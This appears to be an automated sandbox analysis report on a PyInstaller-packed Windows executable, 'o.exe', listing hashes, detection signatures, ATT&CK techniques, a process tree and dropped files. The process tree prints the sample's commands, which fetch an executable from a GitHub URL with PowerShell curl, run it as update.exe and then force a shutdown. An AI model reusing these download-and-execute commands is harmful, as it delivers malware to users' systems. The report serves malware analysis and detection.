d3f467f4f4c92504d018488c565f2f944d286869b4f6c08b27d77c3be2a4811e

Resubmissions

16/11/2023, 17:15

231116-vspg5seh91 8

16/11/2023, 17:05

231116-vl4y9aeh4x 8

Analysis

max time kernel
68s
max time network
72s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
16/11/2023, 17:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

o.exe
Size

6.7MB
MD5

ef16a9d4cc64345934afa6e66e7890d4
SHA1

b0ad21bddaa395b73d410a84e6d96ff9277aa105
SHA256

d3f467f4f4c92504d018488c565f2f944d286869b4f6c08b27d77c3be2a4811e
SHA512

ec2f79ebedad68f4d1bb68ebd3b05ba244ae98251e6ba49efe9dcc41c2f1ec0174eb9dfcbc04a33dba7f3e143f44df56768af1b01c8c31e977024fecaa2f56a2
SSDEEP

196608:fW1k/w1W903eV4QS993iObMGuLmGQ1Zc:+2/mW+eGQ493iObyLxQc

Score

8^/10

pyinstaller

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
21	2100	powershell.exe
24	2100	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
5552	update.exe

Loads dropped DLL 2 IoCs

pid	Process
3768	o.exe
3768	o.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Detects Pyinstaller 2 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x0006000000022cf7-232.dat	pyinstaller
behavioral2/files/0x0006000000022cf7-235.dat	pyinstaller

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "100"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2100	powershell.exe
2100	powershell.exe
5112	msedge.exe
5112	msedge.exe
2896	msedge.exe
2896	msedge.exe
4644	identity_helper.exe
4644	identity_helper.exe
6092	powershell.exe
6092	powershell.exe
6092	powershell.exe
2068	msedge.exe
2068	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	6092	powershell.exe
Token: SeShutdownPrivilege	5668	shutdown.exe
Token: SeRemoteShutdownPrivilege	5668	shutdown.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe
2896	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5776	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 3768	1624	o.exe	90
PID 1624 wrote to memory of 3768	1624	o.exe	90
PID 3768 wrote to memory of 620	3768	o.exe	93
PID 3768 wrote to memory of 620	3768	o.exe	93
PID 620 wrote to memory of 2100	620	cmd.exe	96
PID 620 wrote to memory of 2100	620	cmd.exe	96
PID 2896 wrote to memory of 2488	2896	msedge.exe	97
PID 2896 wrote to memory of 2488	2896	msedge.exe	97
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 2084	2896	msedge.exe	100
PID 2896 wrote to memory of 5112	2896	msedge.exe	101
PID 2896 wrote to memory of 5112	2896	msedge.exe	101
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102
PID 2896 wrote to memory of 2696	2896	msedge.exe	102

C:\Users\Admin\AppData\Local\Temp\o.exe
"C:\Users\Admin\AppData\Local\Temp\o.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Users\Admin\AppData\Local\Temp\o.exe
  "C:\Users\Admin\AppData\Local\Temp\o.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell curl https://github.com/DitoisBest/pics/raw/main/!.exe -o update.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell curl https://github.com/DitoisBest/pics/raw/main/!.exe -o update.exe
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell ./update.exe
    3⤵
    PID:6020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell ./update.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6092
    - - C:\Users\Admin\AppData\Local\Temp\update.exe
        
        "C:\Users\Admin\AppData\Local\Temp\update.exe"
        5⤵
        Executes dropped EXE
        
        PID:5552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c shutdown /p
    3⤵
    PID:4808
  - - C:\Windows\system32\shutdown.exe
      shutdown /p
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5668

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff8f06946f8,0x7ff8f0694708,0x7ff8f0694718
  2⤵
  PID:2488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2172 /prefetch:2
  2⤵
  PID:2084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3052 /prefetch:8
  2⤵
  PID:2696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3636 /prefetch:1
  2⤵
  PID:3020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3620 /prefetch:1
  2⤵
  PID:2324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4088 /prefetch:1
  2⤵
  PID:2956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4080 /prefetch:1
  2⤵
  PID:4324
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5480 /prefetch:8
  2⤵
  PID:1972
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5480 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3920 /prefetch:1
  2⤵
  PID:2052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4312 /prefetch:1
  2⤵
  PID:4996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5040 /prefetch:1
  2⤵
  PID:4756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5576 /prefetch:8
  2⤵
  PID:5324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
  2⤵
  PID:5648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5940 /prefetch:1
  2⤵
  PID:5932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6020 /prefetch:8
  2⤵
  PID:3852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2104,4350005014152136982,8539161038586769368,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=1720 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2068

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4936

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4928

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3958855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
f4787679d96bf7263d9a34ce31dea7e4

SHA1
ebbade52b0a07d888ae0221ad89081902e6e7f1b

SHA256
bfcadaffd49f5351acf68b8249b32270424bc2459125818492cd3224662a9a87

SHA512
de3f3d1cd602bddb664bd0d2aecb661204dd239b278b1f03d6b9dca6f3d03bd3041ac42f4382f5edf5b310b17ff9ecddff59f16729e8c095625040a364252307

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
9fb34ac312fd6e4253fb6b77b1e9f45c

SHA1
19437e874149a8a799933a6040790838f47bb70a

SHA256
5ddedb51281257dd3eb440b97cd0413bdaeeae43ff14d0f9c7522be085bed72d

SHA512
8f55f2b192052738e16629ed2174d92fc089f01d2311b8c9011dc2a5bbc7fa56c3165c936a702c4cf5bb695f9a270028df3563dfc645c0320735a50a8e54d491

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
44591ae44eaf9807f0e88ecb88113e92

SHA1
d7da04d9978c5ff787e72930fcbdb50e93404f54

SHA256
96e48a959cd2e12ac2c1ebb15b75ac4a72e81e42be8c3d4b2f9af15900c6fa44

SHA512
2d00f1b0837bb38bd31b21e71192dcea401392369f7b0964c42abcfaa7b5b5f3a2c02592c2277fd404b567aa175b64a30da0aa31c7969eb799ecf50e8f19b981

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
9d89834122b3e389b49df73f4a66c694

SHA1
b5b6a61136438cfd54b68282914af78e80b92274

SHA256
ff24a8858697bf533ddadfcb863efee139b681fcde941be78718ca24facd24a1

SHA512
f60daee5f9dea1c888028477df1389084bd46324d1ad098f50480741af722fccd7dc18cc72cfa044e8b6135cd7ab8d8b9809a13054c94189c64c55d740361ceb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
f41e360c6c62f23cf59d7c92fd33e1ee

SHA1
f39e13a2abbae82d1cf16903833603eaf6933daf

SHA256
8ac91ec956e1d0d2e43ea774086b35018c9900a448defc199d812ddcfb8735f4

SHA512
4d7598f22b272fbcb10c0ae03e6e1ebee2bf99d46018a3f2fb743be773a4a3986ca1229e96d2d84d50e025041cd2e6050bf1513f76060c3bddcdbddc78db8ae5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
3a748249c8b0e04e77ad0d6723e564ff

SHA1
5c4cc0e5453c13ffc91f259ccb36acfb3d3fa729

SHA256
f98f5543c33c0b85b191bb85718ee7845982275130da1f09e904d220f1c6ceed

SHA512
53254db3efd9c075e4f24a915e0963563ce4df26d4771925199a605cd111ae5025a65f778b4d4ed8a9b3e83b558066cd314f37b84115d4d24c58207760174af2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
cd69e513da61d8538df65183b5071710

SHA1
e6b8a50fea508ab53177f8dc317017e37a656baf

SHA256
ccd3ccb458f58a29fa3faa27dc11d3618cbbde3abeb87349f6dedc77f4c845b6

SHA512
b27eac412be816a2efd6acdb62b078ff6121c688ddb75fa184bddd0a21b85f711de4b014c8d81120bb163452ac3000bb50fa5cabb85e237cb8227dde8df210cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
26325941ab16115a664ef6644fea23d0

SHA1
f83fc9f745d22998e8629cdb2feb6ee1cf701991

SHA256
f48c4f910974369fd6e406aeadaf8629b37c1a239d01aaf92c34e64671188845

SHA512
91475fbb4d2dbcba8c1b5227cc3564f5aec1fe15bf76d48332524e53ae14403a3336c17600535a0495aa6cb3bfc3923013f76ee47defb4325c01a94a9f27efd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
995c8a4a036523b09a6270c070fd8704

SHA1
eefff3b0d1f670d07f3419f7b2521025bb86cb5f

SHA256
cb34b7c0e13eacd2a1890dc0ddf864e4bde31f1fbe65dcd30f69efd328b0fd84

SHA512
4fb1300970353044a686b317ba0b3d2d5fc887db30ac190b63c5ae4c46d45fc40b093c258c304754d0de2c7b87732140e73a2ebe2d9bdc64197b7f1e6b39b2f4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ba7bb8c22d72f7d6094bf4b7a11fd2df

SHA1
e68eab39081c17997a16bca1667f1544f11804a5

SHA256
0b479a9a243e4fa548d64277229f3c72cc7c6773001a235fc406c74e98d32b1a

SHA512
58288cb73c35eb08b28f9ad0e96ed17e89b6e361c015c233deba9eb39a928e7216576c897bed531625171606ff9952361c40b14df27c0aa7e2e68228aeb0de4c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI16242\VCRUNTIME140.dll

Filesize
106KB

MD5
4585a96cc4eef6aafd5e27ea09147dc6

SHA1
489cfff1b19abbec98fda26ac8958005e88dd0cb

SHA256
a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736

SHA512
d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI16242\VCRUNTIME140.dll

Filesize
106KB

MD5
4585a96cc4eef6aafd5e27ea09147dc6

SHA1
489cfff1b19abbec98fda26ac8958005e88dd0cb

SHA256
a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736

SHA512
d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI16242\_bz2.pyd

Filesize
82KB

MD5
28ede9ce9484f078ac4e52592a8704c7

SHA1
bcf8d6fe9f42a68563b6ce964bdc615c119992d0

SHA256
403e76fe18515a5ea3227cf5f919aa2f32ac3233853c9fb71627f2251c554d09

SHA512
8c372f9f6c4d27f7ca9028c6034c17deb6e98cfef690733465c1b44bd212f363625d9c768f8e0bd4c781ddde34ee4316256203ed18fa709d120f56df3cca108b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI16242\_decimal.pyd

Filesize
247KB

MD5
baaa9067639597e63b55794a757ddeff

SHA1
e8dd6b03ebef0b0a709e6cccff0e9f33c5142304

SHA256
6cd52b65e11839f417b212ba5a39f182b0151a711ebc7629dc260b532391db72

SHA512
